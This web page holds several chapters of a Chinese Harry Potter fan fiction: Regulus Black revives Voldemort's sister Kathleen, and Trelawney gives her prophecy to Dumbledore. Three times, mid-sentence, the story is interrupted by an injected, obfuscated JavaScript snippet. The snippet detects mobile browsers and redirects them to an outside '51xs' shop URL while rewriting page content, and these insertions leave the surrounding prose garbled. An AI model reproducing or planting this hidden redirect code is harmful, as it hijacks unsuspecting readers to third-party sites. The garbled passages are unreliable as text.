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“其实,这个答案也不重要,我们会在未来得到结果的。”像是自问自答,尼可·勒梅平静地说。他指了指放在桌上的水晶球,继续说道:“这个水晶球,可以帮助我了解世界的动向,甚至可以足不出户就能看到现场的歌剧——咳,言归正传——我曾经在水晶球里看到过凯瑟琳和伏地魔的过去,以及1945年的那场大战。正因如此,我可以告诉你的是,伏地魔的妹妹,凯瑟琳,她并没有死,她的灵魂在1945年默默然事件中被动地分裂了,也就是说,在不在不觉中,她为自己制作了魂器。” “什么?”雷古勒斯瞪大了眼睛。 “是的。”尼可·勒梅说道,“我相信你或许从某处知道了一个活人想要魂器的大概制作流程——三个要素:索命咒,灵魂分裂,容器。在默默然事件中,巫师们向凯瑟琳的默默然发射死咒,但是被默默然反弹了回来,杀死了其中的一些巫师,而当时,伏地魔其实就隐藏在人群里面——他被制成了凯瑟琳的魂器。” 雷古勒斯保持着惊讶的表情,一句话也说不出来。 “她的另外一半灵魂被她哥哥使用死圣——复活石,召唤了出来,并且他通过一些黑暗的魔法将她的灵魂永久地保存了下来,并放在了你姐姐贝拉特里克斯的身体里,也就是凯瑟琳的第二个魂器。” 尼可·勒梅淡淡地陈述着这个故事,就像是在讲一个温馨的故事。 “因此,我说你很聪明——她的情况和克雷登斯和阿莉安娜都不相同——凯瑟琳确实可以被复活,她的哥哥已经为她的复活完成了第一步,也就是收集和保存她的灵魂,而复活的第二步,就差魔法石了。” 说着,尼可·勒梅从椅子上站了起来,走到了他正在睡觉的画像旁边说道:“伙计,开开门。我要取走它了。” 那个原本熟睡的尼可·勒梅睁开了眼,有些不乐意地将画像挪开——雷古勒斯这才知道这居然就是尼可·勒梅存放魔法石的保险柜。 保险柜中,像火焰一样明亮的红色复活石被放在一个水晶罩里面,熠熠生辉。 尼可·勒梅毫不犹豫地把复活石取了出来。 “魔法石有着除了长生不老以外另外一个不为人知的作用,类似于‘招魂’,但并不完全是。凯瑟琳无意中将自己的灵魂存放在魂器中,她还有第三片最核心的灵魂被困在了不生不死的身体里。只要你能找到凯瑟琳的尸体,并把魔法石熬成的药喂给她,她就能实现真正意义上的复活。 再换句话讲,三十几年来她只是陷入了沉睡,而复活石可以唤醒她。尽管她的灵魂不完整,但是只要她有魔法石的药性在身体里,在未来依旧能够找回自己全部的灵魂。” “那您……” “别担心,复活石依旧在我这里。” 尼可·勒梅平朝这个十八岁的年轻人露出一个宽慰的微笑,“即使未来有一天我不得不为了防备伏地魔而销毁魔法石——就像你和我说的那样——死亡只不过是下一个伟大的冒险。” 55.chapter53 与此同时,位于霍格莫德的猪头酒吧内。 一楼的蒙面客人们都在享受各自的饮酒时光,在二楼的一个包厢里,卡座上一个头发乱蓬蓬的女人,脸被紫色的面纱遮住,正抚摸着水晶球低声絮絮叨叨地说着什么,坐在桌子对面的是一个有着银色长胡须的男人,他戴着尖顶的巫师帽,并没有蒙面,一副半月形眼镜架在鹰钩鼻梁上——虽然他表面上看上去是在很认真地听那个女巫的胡扯,但是抚摸着魔杖的右手已经暴露了他的不耐烦。 “西比尔,我很遗憾,恐怕我并不能录用你……” 那个银色胡须的开始说话了,他的声音很低,也很平静,话语中充满着对占卜这门课的十分不以为然。 “你说的那些所谓的预言,在我看来不过是你招摇撞骗的把戏,这次我同意来面试你,也不过是看在你已过世的祖母的面子上……现在看来,你还是换个职业吧。” “什么?邓布利多教授,你大概是听别人说过我没有继承我曾曾祖母的天赋吧?这些谣言已经由嫉妒的人传播好几年了!你看我刚才的能力,难道不足以让你丢掉那些偏见吗?” 那个蒙面女巫叫西比尔·特里劳妮,她是卡桑德拉·特里劳妮的孙女,从霍格沃茨毕业两年多依旧找不到工作,听说邓布利多打算关闭占卜这门课,就约邓布利多在她下榻的旅馆求职,希望能让他保留这门课。 “西比尔,我确实深深地被打动了……但是我并不认为你能把‘预言’这个能力教给小巫师们——就像你说的,大多数人都没有预言的天赋,那么我猜测,他们在这门课上只会为了得个分数胡编乱造,而学不到真正的学问。” “你……你怎么能这么说!”特里劳妮一把扯下了面纱,露出了一副厚瓶底一样的眼镜,把她因为难以置信而瞪大的眼睛衬托得格外大。 “我很抱歉,我想占卜这门课确实应该被关闭了。”邓布利多礼貌地站起身,但是刚刚说话还轻声细语的特里劳妮忽然语气就变了,她用一个不熟悉的、响亮而嘶哑的声音在邓布利多准备离去时说起话来——“拥有征服黑魔头能量的人走近了——” 邓布利多惊讶地转过头,他看到特里劳妮僵在卡座里,目光散漫,下巴下垂,眼镜后面的眼睛不自然地转动,似乎被附身了。特里劳妮又继续说话了,仍旧是那种嘶哑的声音,和她自己的很不相像。 “……有着一半纯血和一半麻瓜的血统……在第七月的最后一天……它是黑魔王的劲敌——” 这时,门外一阵骚动,随即“砰”的一声,门被大力撞开了。 阿不福思(但是特里劳妮和斯内普都不知道他是阿不福思)揪着一个瘦削的、有着油亮头发的青年的衣领,对邓布利多说道:“哥哥,这个人一直在楼梯口窃听!你都没发现?” “西弗勒斯·斯内普?” “你误会了!”斯内普从酒吧招待手里扯回衣服,冲着邓布利多大声喊道,“我只是上错了楼梯!上错楼梯而已!” 邓布利多朝阿不福思使了一个眼色,阿不福思立马又拽住斯内普,将他拖下了楼梯。 随着门被重新关上,邓布利多转身坐下。特里劳妮依旧呈现一个被附身的状态,刚才的插曲打断了她的话,但是当房间恢复安静之后那个不属于她的声音就继续开口了。 “它是黑魔王的劲敌……并且拥有黑魔头所不了解的能量……黑魔王对它无可奈何……那是他最不想见到的人。拥有征服黑魔头能量的人走近了……” 接下来的话就是重复的预言。很快,特里劳妮的脑袋垂到胸前,然后她哼了一声,很突然地,她的脑袋“啪”的一下又抬了起来。 “抱歉,邓布利多教授——刚刚发生什么事了?我好像看到了那个酒吧招待和斯内普?”她像在梦中似的说,“夏天了,白天太热,其实我中午都没吃什么……你知道——我睡着了一会儿……” “没什么大事。”邓布利多依旧是温和且有礼的样子,“西弗勒斯只是上错了楼梯。” “他才不是!”特里劳妮反驳道,“其实我早就注意到他在门外偷着钥匙孔偷听了!他现在也在找工作,大概是想通过我学习一些经验……” 邓布利多却没有再对这件事多做什么评价,“我改变主意了,西比尔。”他说,“我决定继续开设占卜课,并且聘请你来当霍格沃茨的占卜课老师……” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12941990|135277||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “真的?果然,我就知道你是不会听取那些谣言的!”特里劳妮高兴地站了起来,丝毫没注意到邓布利多蓝眼睛中闪过的担忧。 “是的,西比尔。我说话算数。”他说,“不过你可不可以把今天做预言的这个预言球留给我?” “噢,噢。没问题,我是说,当然可以!”特里劳妮依旧沉浸在被录用的欣喜当中,“拿去吧,邓布利多教授,我很高兴有人能够欣赏我的真才实学。” * 从德文郡一路回到伦敦,时间已经到了7月的最后一天。 雷古勒斯和克利切站在位于岩洞内部最中间的小岛上,石盆里的毒药闪烁着绿莹莹的光。 雷古勒斯伸出修长的右手尝试触碰那个挂坠盒,但是很显然,静电一样的魔法把他的手弹开了。 “果然如此。”雷古勒斯呼出一口气,垂头丧气地开口。“还是先找到凯瑟琳吧——克利切,帮我找到凯瑟琳的尸体具体在哪个位置。” “克利切遵命!”那个小精灵绕着湖心岛转了一圈,然后对雷古勒斯说,“主人雷古勒斯,克利切发现凯瑟琳的尸体就在黑色石板的下面。” “很好。”雷古勒斯说道,然后他又像刚刚尝试走近洞口那样,摸索了一番,然后拔出魔杖再次割破左手手臂,将血撒在石盆上,魔药像是被煮沸了一样发出“滋滋”的声音,雷古勒斯没有停下,他对着石盆又施展了几个咒语,然后用英文说道:“打开。” 随着话音落下,石盆被移开,黑色的石板下陷,露出一个深坑,一个黑色的棺材从地底下浮了上来,然后棺材盖自动弹开——里面躺着一个穿着白裙子的少女,只是比他母亲沃尔布加记忆中的样子更年长一些,也更瘦,那是她在死前饱受病痛折磨的证据。不过由于她哥哥魔法的维持,这些年她和沉睡没什么两样,只是指甲长长了一些,乌黑的波发也长到了膝盖处。 雷古勒斯从斗篷口袋里掏出尼可·勒梅用魔法石熬制的魔药,将它们灌入凯瑟琳的口中。 当白雪公主吞下毒苹果陷入沉睡,路过的王子拯救了她。 ——但是谁知道这个王子究竟爱的是白雪公主,还是为了其他的利益呢? 56.chapter54 像是做了一个长长的梦。 凯瑟琳感觉自己被困在一个黑色的房间里,怎么也出不去,她感受到自己灵魂的不完整,却不知道是怎么回事,她感知不到自己的其他灵魂在哪里,它们似乎都陷入了沉睡,只等待它们的核心被唤醒。 就在某一天,她开始能听到声音了,有一个声音一直在黑色房间的周围萦绕着,让她快点醒醒。 然后,自从这个声音响起之后,她浑身就被灌满了力量,然后,她发现能够出去的门可以被打开了,她轻轻推开那扇门,感受到眼前的光线变强了。 …… 凯瑟琳睁开眼睛,发现刚才感受到的光线大概来自于她头顶的魔杖发出的荧光闪烁,一个英俊的年轻男人正关切地盯着她,微卷的长发遮住了他的侧脸,昏暗的光线让她看不清他的表情。 “你是谁?”她下意识地出声问道。 “噢……嗨……你是凯瑟琳对吗——噢,噢,我叫雷古勒斯·阿克图勒斯·布莱克。”忽然被问起名字,雷古勒斯竟有些不知所措。 “噢,布莱克?我怎么从来没听说过你……”凯瑟琳挣扎着从洒满鲜花的棺材里支起身子——然后她意识到自己明明已经死了,怎么现在还能坐起来? “等等。”她猛地转过身,“我不是——我不是……死了吗?” “并不算是——所以我用了一点方法,帮你复活了。”雷古勒斯说道。他伸出手,想要把凯瑟琳扶起来,然后发现这个女孩竟如此的瘦,他甚至可以清晰地感受到她的蝴蝶肋骨。 “你干啥?”凯瑟琳拍开了他的手,自己从棺材里站起来,然后赤脚站到了小岛上。 “这是哪里?”她皱着眉环顾四周,除了雷古勒斯的魔杖发出的光,还有不远处一个盆子里闪着的绿莹莹的光,没有一点的光线。 “在一个岩洞里面。”雷古勒斯如实回答道,“你哥哥——如今的黑魔王,把你葬在了这里。” “黑魔王?” 不出雷古勒斯所料,这个词果然引起了凯瑟琳的注意,“黑魔王不是格林德沃吗?你找错人了,我哥哥是汤姆·马沃罗·里德尔。” “那就没找错。”雷古勒斯沉静地说道,“——你确实不可能知道,因为现在已经过去二十四年了,你哥哥是新的黑魔王。” “什么?新的……那你为什么要复活我?”凯瑟琳问,她似乎有太多太多的问题,“而且你怎么做到的……” “说来话长,”雷古勒斯叹了一口气,然后举起魔杖对着棺材施了几个魔咒,棺材重新沉入地底,黑色石板合上,装着绿色魔药的石盆重新移动回了小岛的中央。 “我简单地跟你说,就是你的哥哥变成了头号坏人,他无恶不作,试图残暴地统治整个魔法界,杀了很多人……” “不可能!我哥哥不会做那种事情!”凯瑟琳大声抗议道。她哥哥,那个无比优秀又英俊迷人的哥哥,怎么可能是杀人如麻的坏蛋。 “但事实上,他做了。”雷古勒斯说道,他指着石盆中间的那个金色的挂坠盒说,“这就是最好的证明。” “什么?”凯瑟琳往前走了一步,然后认出了那个挂坠盒,“那是我的挂坠盒,我死前——以前自愿送给他的……他当时说他要制作一些叫‘魂器’的东西。” “什么叫‘一些’魂器?”雷古勒斯的声音有些颤抖了,“你知道光是制作一个魂器要付出什么样的代价吗?” 凯瑟琳疑惑地看着他,然后摇了摇头。 “简单的来说,分裂灵魂是一种非常邪恶的行为。一个活人如果想要分裂灵魂,必须通过使用杀戮咒杀死另外一个人,然后将灵魂保存在一个物件当中,从而实现永生。” “所以……” “所以,他每制作一个魂器,实际上就相当于要杀死一个——甚至不止一个人,来达到自己自私的目的。” 雷古勒斯看到那个少女瞪大了眼睛,和他最初看到克利切饱受毒药折磨、逐渐明白自己的信仰被颠覆的时候一模一样。 “你在骗我吧。”她颤抖着声音问道,“我哥哥他……” 她的话顿住了。思绪几乎是立刻回到了1943年,那个可怜的拉文克劳女孩倒在了厕所里,哥哥上前探了探她的呼吸,然后告诉凯瑟琳那个女孩只是晕倒了——事实上,他其实是知道那个女生已经死了,但是却还在对她撒谎掩盖自己的错误,不是吗? 她一直后悔为什么没能阻止这个悲剧,她明明已经命令那个蛇怪回去,但她哥哥却坚持要把蛇怪留下——不,不止如此,有没有可能从很久之前他就已经开始做那些事情了?从报纸上刊登的那几个麻瓜男孩的死亡,比利被吊死的兔子,街头乞讨的安娜还有脸色苍白的艾米和丹尼斯……他坚持要清除学校里的麻瓜巫师,甚至不惜对她施展昏昏倒地——而她因为不会魔咒,没有任何与他抗衡的可能。 “可是……就算如此,你复活我有什么用呢?”凯瑟琳低下了头,长发遮住了她的脸,“我不能使用魔法,你知道吗?我也阻止不了他。” “不,你可以!”雷古勒斯大声喊道,这和他过去的温文尔雅完全不同。 凯瑟琳震惊地抬起头,看着面前的青年因为激动而微微喘着气,他那 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12942711|135277||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 双灰色的眸子沉郁极了,宛若伦敦大雾弥漫的天空。 似乎是意识到自己对女士的失态,雷古勒斯揉了一把头发,声音缓和下来,用近乎哀求的语气说道。 “我们只有你了……凯瑟琳……我求求你……拜托你,一定要阻止他。无论什么困难,我们都可以克服的。” …… 一阵沉默之后,凯瑟琳终于找回了自己的声音。 “好。”她说。“我需要搞清楚,他这些年都干了些什么。” 然后她走到了那个石盆跟前,朝泡在魔药里的挂坠盒伸出了手—— “别碰!那个——”雷古勒斯赶忙出声阻止,然后,更加震惊地发现凯瑟琳的手直接穿过了黑魔王设置的各种魔法障碍,准确无误地拿起了那个挂坠盒。 “什么?这个怎么了?”凯瑟琳将挂坠盒捧在手心里,向僵在原地的雷古勒斯抛出一个疑问的眼神,“别担心,我现在已经知道了……这个是他的‘魂器’。” 然后她发出了一阵低哑的嘶嘶声: “打开。” 挂坠盒被打开了,雷古勒斯凑近看去,那是他母亲当年怎么也打不开的挂坠盒,里面是一张黑魔王兄妹的照片。 坐在椅子上的男人十分英俊,乌黑的头发梳得一丝不苟。他穿着尖领衬衫和v领背心,打着斯莱特林专属的黑白绿相间的领带,黑色西装外套只系了三粒扣,灰色的西装裤勾勒出修长的腿的轮廓,他漫不经心地看向镜头,然后露出一个若有若无的笑,右手指上马沃罗·冈特金戒指上的宝石闪着光。 那是黑魔王年轻的时候。 站在他身侧的女孩和他长得十分相似,脸像雪一样白,黑色的波发及腰,笑起来的时候美丽极了。她穿着一身干净的白色长裙,胸口挂着金灿灿的挂坠盒。 那正是他面前这个少女。 凯瑟琳盯着那张动态的照片出神,不知想了些什么,然后她将挂坠盒合上了。 “所以,如果我们要阻止他的统治,是不是要摧毁这个魂器?” “是的。”雷古勒斯说道。“但是我目前还没有研究出来摧毁魂器的方法。” “那就先带走,如何?”凯瑟琳说道。和照片里一样,她将挂坠盒戴回脖子上。 “所以我们还站在这里做什么呢?雷尔——我可以这样叫你吗?”她故作轻松地说道,似乎是在努力摒弃着过去对那个人的印象。“我们找个合适的地方,你和我说说这二十多年都发生了什么吧?” “噢,当然。”雷古勒斯也回过神来,他牵住凯瑟琳的手,对克利切说道,“克利切,带我们出去。” 57.chapter55 当五十五岁的沃尔布加打开布莱克家族的大门,并看见十八岁的凯瑟琳时,她以为自己已经死了。 沃尔布加僵着脸,想要把门关上,却被雷古勒斯挡住了。 “母亲。”他说道,“我需要拜托您一件事。” “什么?” 沃尔布加的目光依旧落在凯瑟琳身上,她的脸色也一样的不自然,甚至似乎是在质疑为什么一个泼妇能生出一个彬彬有礼且英俊多金的少爷。 然后,雷古勒斯的话让她更加不解。 “拜托您允许她……住在我们家里。” 沃尔布加的脸色忽然就和变质的牛奶一样难看了,她的嘴巴张开又合上,闭上又张开,却一句话也说不出来,不知道是为凯瑟琳的出现感到惊恐还是为自己最宠爱的儿子提出如此离经叛道的要求感到难以置信。 “为什么?你怎么会认为,我会把我们布莱克的房子给她这个……她这个……” 她想要反驳,似乎有一大堆的理由能让她拒绝,但是她恰好抬起头,意外地撞见了儿子眼里闪动着的不明的情绪。 隔了半晌,沃尔布加朝门后挪开了身体。 “进来吧。” * 凯瑟琳和雷古勒斯一人捧着一杯冰可可站在二楼的客厅里。 布莱克家的客厅华丽而精致,两扇落地的大窗户可以俯瞰房子前面的街道,古朴而刺绣精致的天鹅绒窗帘垂落在窗子两侧,半掩住了窗外的黄昏。一个大壁炉两侧是两个华丽的玻璃橱柜,并且有一面墙上覆盖着一个布莱克家族树形族谱挂毯。上面有几个被火烧过的洞——那是家族里被除名的人。 “尼可·勒梅跟你说,我的一部分灵魂在贝拉身体里?”凯瑟琳问道。 “他是这么说的,现在让我想,我只觉得很合理。”雷古勒斯望着地毯上被烫出的洞,十分冷静地说,“从我很小的时候起,黑魔王每次来我们家里,都会找贝拉——不过我七岁之后,我姐姐贝拉就嫁给了罗道夫斯,并且加入了食死徒,他们一家搬了出去,黑魔王也就不再造访这里了。” 凯瑟琳扭头盯着他。“所以,你认为黑魔王来找她,是因为她是我的魂器?” “没错。”雷古勒斯说道,“我相信他对自己的魂器都没有那么上心,但却会定时来查看存放你灵魂的地方安不安全……所以,你在他心里有多重要,你懂的。” 凯瑟琳有一段时间没有接话,只是盯着墙上的人名看着,过了一会儿,她指着墙上的一个洞问道,“这个是谁?” “我另外一个姐姐,安多米达。”雷古勒斯说道。“她嫁给了一个麻瓜巫师,母亲把她除名了。” “但你也没反对,不是吗?”凯瑟琳小声嘀咕道。但是雷古勒斯听到了。 “噢,确实。”他坦然地说,“我曾经是一个非常坚定的纯血论者,并且,我有着出人头地的野心。我已经有一个事事都喜欢和父母唱反调的哥哥了,没有必要再加我一个。” “为什么?”凯瑟琳反问,她指着家族树最顶端的一个洞,“那是就是他吧?西里斯·布莱克?” “因为我不希望跟他一样。他太冲动了——你应该能明白才对,凯瑟琳。如果一个家里有两个孩子,尽管他们可能能有很多相似的地方,但一定会竭力让自己和另外一个人不同。我也是这样,哥哥反抗父母,那我就努力让父母喜欢我,成为他们的骄傲。” 是这样的吗? 凯瑟琳仔细回忆过去,似乎越是长大,她和哥哥的想法就越是不同。但他们没有需要讨好的对象,她以为,只是立场不同罢了。她眼角的余光看见了躲在楼梯口偷听的克利切,说不定是沃尔布加派他来的。 “雷尔,我们能去你房间里谈吗?我觉得你母亲肯定很好奇我们在密谋什么。” “……那走吧。”雷古勒斯也发觉了克利切,立刻明白了凯瑟琳话的含义。“克利切,不许偷听我们的对话,和我母亲说,我们需要一些私人空间。” 他们爬上楼梯,走到五楼一个并不明显的房间,上面挂着一个牌子: 【若没有雷古勒斯(R)·阿克图勒斯(A)·布莱克(B)的特许,禁止入内】 尽管雷古勒斯很快地推开了门,但凯瑟琳还是一字不落地看到了。 “你还真是……”凯瑟琳露出了一个耐人寻味的笑容,雷古勒斯则快速地关上了门。 “这块牌子我已经挂习惯了……以前是因为我哥就住在我对面那间——他以前经常不打招呼就闯进来; 然后他六年级离家出走并被除名后就一直住在波特家,再然后,现在波特结婚了,他就住在凤凰社里……” “沃尔布加不关心他吗?” “倒也不是。”雷古勒斯搬出两把椅子,“她一直为此伤心着,还时不时偷偷打听他的下落,只是在大多时候都是一副没心没肺的样子,但那真的不是她的内核。她对我哥和我的爱从未减少过……所以,我难以想象,如果我们两个人都离开她,她会有多悲伤。” 凯瑟琳扭过头,和雷古勒斯的视线意外地对上了,这个十八岁少年的眸子里盛满了温柔。 “她早已和上学的时候不一样了,因为她现在已经是两个孩子的母亲。我承认,她确实是个疯狂的血统论推崇者,但她从不敢伤害任何一个人。要说真有人只有彻底的邪恶,我认为只有黑魔王。” “是吗?那你房间里怎么还到处都贴着关于他的报纸?” 在雷古勒斯维护他母亲的时候,凯瑟琳就开始环视这个小一些的房间。除了奢华的家具以外,床上,墙上,还有窗户上,遍布斯莱特林的墨绿色和银色。布莱克家庭的徽章和座右铭“纯种”被煞费苦心地雕刻在床板上。在这下面是一些泛黄的剪报,凑在一起,就像一幅粗糙的拼贴画。 “我都说了,那是过去的我。”雷古勒斯说道。“他很强大,并且看似真的偏爱纯血巫师。我的父母都期望他能有朝一日领导巫师统治麻瓜——我说过,我要和我哥哥不一样,我以为他能让我获得荣耀,所以渐渐的,就开始崇拜他。” “然后,是什么让你选择开始和他对抗?” “因为我发现他是一个骗子。”雷古勒斯恨恨地说,“他打着未来会有利于纯血巫师的幌子,实际上只是在施行屠杀。很多人以为这就是让人服从的方式,但事实上,这违背了人性——任何层面上的。过去都发生了什么,我和你讲过一遍了。” “那么,你做这些事了吗?”凯瑟琳问。 “没有。”雷古勒斯说,“我没有胆量杀人。正因如此,黑魔王越来越不重视我,他连我有没有去开会都不在乎。” “噢……那你做的很好,雷尔。”凯瑟琳说道,“你一定要坚持这样的原则,不可饶恕咒的任何一条,都不应该被使用。” 凯瑟琳重新坐到椅子上,她面前的一张剪报贴着她哥哥的照片:似乎被什么东西烧过的脸扭曲着,眼睛出奇的红,身后站着一群带着面具、穿黑斗篷的人。 他是那样令她感到陌生。 尽管早在路上雷古勒斯就给她讲述了一切,但她依旧半信半疑。 无论是外貌,还是行为,还是性情。 她甚至可以确信,她的哥哥已经杀死了过去的那个汤姆·马沃罗·里德尔,现在的他,不是她哥哥,而是杀人如麻的伏地魔。 “我真希望时间能够倒流。”凯瑟琳开口了,雷古勒斯看向她,然后震惊地发现她居然在流泪。 “回到我还没变成默然者之前,如果我知道他这些年都背着我做了些什么,不管牺牲什么,我都要阻止他——不仅仅是阻止他伤害那些可怜的人,更是让他停止做伤害自己的事情。 如今我才知道真相……我真的好后悔,非常后悔。我曾经和他待在一起那么久,却不曾坚定地质疑过他都偷偷做了什么。甚至必须是在五年级之前发现,从沃伦死去的那一刻,他的灵魂就已经不完整了,他以为这是自己朝永生迈出的第一步,但其实是在惩罚自己啊!你明白吗,雷尔?我现在想明白了,他从那个时候就已经在制作魂器了,而我,没能阻止他!他从那个时候开始,就在逐渐失去自我,他伤害了自己,伤害自己的灵魂,却还在洋洋得意骗过了所有人!” 凯瑟琳深吸了一口气,勉强朝雷古勒斯扯出一个笑容。手指却没有停止摩挲那个挂坠盒。 “我确实尝试过,邓布利多也尝试过。但我们都太天真了,我们天真地以为他能够变‘好’,我希望能够通过被开除的方式提醒他意识到自己的错误,但他只是转移了仇恨。我也想直接阻止他,但是,他居然对我使用了昏昏倒地,甚至骂我是不会魔法的哑炮。” “你认为他不爱你?” “我不是这个意思。”凯瑟琳说,“他认为只要不让我知道他做了什么就行了,这样,他既不会失去我,也不会失去自己的远大理想。他对一些东西看得很重,而我对另外一些东西看得很重……对不起……” 凯瑟琳又哽咽起来,调整了半天终于找回了自己的声音。 “我真希望我是一个能够预知未来的人,如果我知道他痛恨自己的过去、身份和家庭,就应该想尽办法让他感受到来自家人的爱,我做的不够多……” “不,你已经做的够多了。”雷古勒斯为她擦去眼泪。凯瑟琳则勉强地笑了笑。 “如果我知道他会变成现在这样,我能做更多。让他意识到‘爱’能够战胜死亡,而不是可有可无的东西。雷尔,你爱的父母,爱你的家族,其实这才是你有勇气选择对抗他的原因,不是吗?不仅仅是因为你看见了他的残忍,而是你害怕他的残忍终有一日会报复在你的家人身上。如果我能让哥哥在很早以前意识到这些,他绝不是现在这样,绝对不会。 五年级我还在霍格沃茨的时候,哥哥带我去有求必应屋看到了一个神奇的镜子,叫厄里斯魔镜。你听说过吗?雷尔?” 雷古勒斯点点头,“是的,我听我哥哥说过,他和一群狐朋狗友去过那里,他的朋友波特有一件隐形衣,所以他们可以在宵禁之后为所欲为——只可惜他不借给我。” 但是很显然,他在说这句话的时候,从里到外都冒着酸气。 “有一次,我偷偷跟踪他们去了那里,然后学着他们的样 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12964726|135277||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 子,进入了有求必应屋,看到了那面镜子。” “你从里面看到了什么?”凯瑟琳追问。 “……” 雷古勒斯笑了一下,却没有回答。“我看到什么好像不重要吧?女士优先,凯瑟琳小姐,你该先把你的故事讲完。” “那好吧。”凯瑟琳说道,“我曾经两次,看到镜子中,是哥哥站在我身边,离我很近很近,他对我很温柔的样子。 格林德沃并没有欺骗我,但是他让我误解了我自己的内心。在我死前,他为了最大化地开发默默然的力量,选择揭开我内心最深处的渴望。其实在那之前,从他在汉格顿监狱把默默然化的我带走的时候,可能就已经发现了。 那两年,他逐渐侵入我的大脑,控制我的内心,削弱我的意志力。他让我产生了错觉,以为我对哥哥的‘爱’是不被允许的。但是在黑暗中徘徊的这三十多年里,我一年比一年清晰地认识到我的内心,每一年,我都在复盘我的过去的人生,有什么我做对了,有什么我做的不够好。” “所以你明白了你对他的感情。”雷古勒斯灰暗的眸子里又燃起了亮光,他说的是肯定句。 “我想我可以这么说了。”凯瑟琳说,“我哥哥一直对我很好,我也想尽我所能地回报他的好——而且,你知道的,每个人都是自私的,我也不能幸免。我私自地希望他能一直陪着我,希望能把他留在我身边,从子宫里,一直到坟墓里——你看看,自私极了。我希望哥哥永远爱我,为我遮风挡雨,做我唯一的家人和精神的依靠。 换言之,我奢望能永远和我的家人在一起,有一个为我遮风挡雨的家。” 雷古勒斯或许是一个很好的倾听者,他坐在椅子上,手里端着冰可可,一口都没有喝,只是听着,这个与他根本不是一个时代的女子的话。 “我哥哥的想法和我不一样,常年忍饥挨饿的生活让他更加注重的不是亲情,而是逐渐抛弃无用的感情,把想要活着的欲望放到了最前面......甚至他一开始跟我提出永生的时候,我并没有反对他,正相反,我希望他能活得很好,长命百岁……不过现在看来,他的愿望已经变质了——算了—— 所以说,那是我藏在内心最深处的愿望,是不被协调的本能欲望。你看到了,由于我是孤儿,所以从小我就把唯一的亲人视为最重要的家人,甚至我没有勇气去结婚,去当一个母亲……因为我没有享受过一天家庭的氛围,在我身边的人,只有我哥哥。因此,我非常依赖他——和你和西里斯的关系或许恰恰相反?” 凯瑟琳没有继续说的内容是,她知道哥哥从不会表现出‘依赖’这样懦弱的表现,但不代表他不会有。他隐藏自己的内心,不想表明自己依赖过一个人,因为他害怕她终将有一日会离开他。他甚至不敢对她施展遗忘皆空,因为他害怕自己唯一依赖的家人会像父母那样在失去对他的好感之后抛弃他。 密室之后,她想要以惩罚他最重视的人的方式唤醒他的良知,而汤姆却不能理解,他难以相信自己所信赖的家人宁可抛弃他也不愿意支持他的行为,甚至不惜以这种方式强制离开自己。 1945年默默然事件亦然,她误解了自己的内心,选择自杀来隐藏自己对他的爱,而汤姆却误认为自己被家人再次抛弃了。 所以,他果然是唯一活着的人,清醒地活着,清醒地孤独一人。 大概就是为了惩罚凯瑟琳这样不负责而又胆小的逃避,她无意中分裂了自己的灵魂,导致三十多年后又被叫醒,以弥补自己过去无意中造成的恶劣后果。 “过去几十年里,我不知道哥哥怎么样了,也不知道他在哪里,但是我心里依旧牵挂着他。然后,很遗憾地,当我从沉睡中被唤醒的时候,我才知道,他选择了最容易,也是最糟糕的那条路——以他的魔法能力,报复社会当然很容易,但选择原谅一个人却很难。同样,”凯瑟琳露出一个苦笑,“想要现在再阻止他,难比登天。” “没关系。”雷古勒斯站了起来,“只要你还愿意帮助我们,那就还有希望。而且,我们必须这么做。” “当然。”凯瑟琳肯定地说道,“我比任何人都希望他活的很好。但不是以牺牲无数无辜的人的性命为代价。但是,仅仅做到不杀人,怎么够呢?” “你的意思是……?” “雷尔,我们得从他手里抢人头。越多的本不该牺牲的人被救下来,我们才是真正的在阻止恶行,而不是吃着人血馒头获得鱼死网破的胜利。” 凯瑟琳说着,尽管泪痕还残留在脸上,眼神已经变得坚定。 “还有一点,以你现在的身份,这些事我们都得秘密进行,谁也不能告诉——你的父母、小天狼星,甚至是邓布利多,都不行——也不能让我哥哥知道我被复活了。” “好。”雷古勒斯答应道。 “还有一件很重要的事。”凯瑟琳又说道。“你得教我魔咒。” 雷古勒斯愣了一下,随即反应了过来。 “成交——合作愉快。” 凯瑟琳握住了雷古勒斯伸出来的手。 “合作愉快。” 58.chapter56 邓布利多在校长室里见了两位神秘的客人。 菲尼亚斯校长的画像自从雷古勒斯进来后就非常聒噪,他一边夸奖着雷古勒斯的识大体,爱护家族,一边发誓一定不会用自己挂在家里的那张肖像将秘密泄露给沃尔布加。 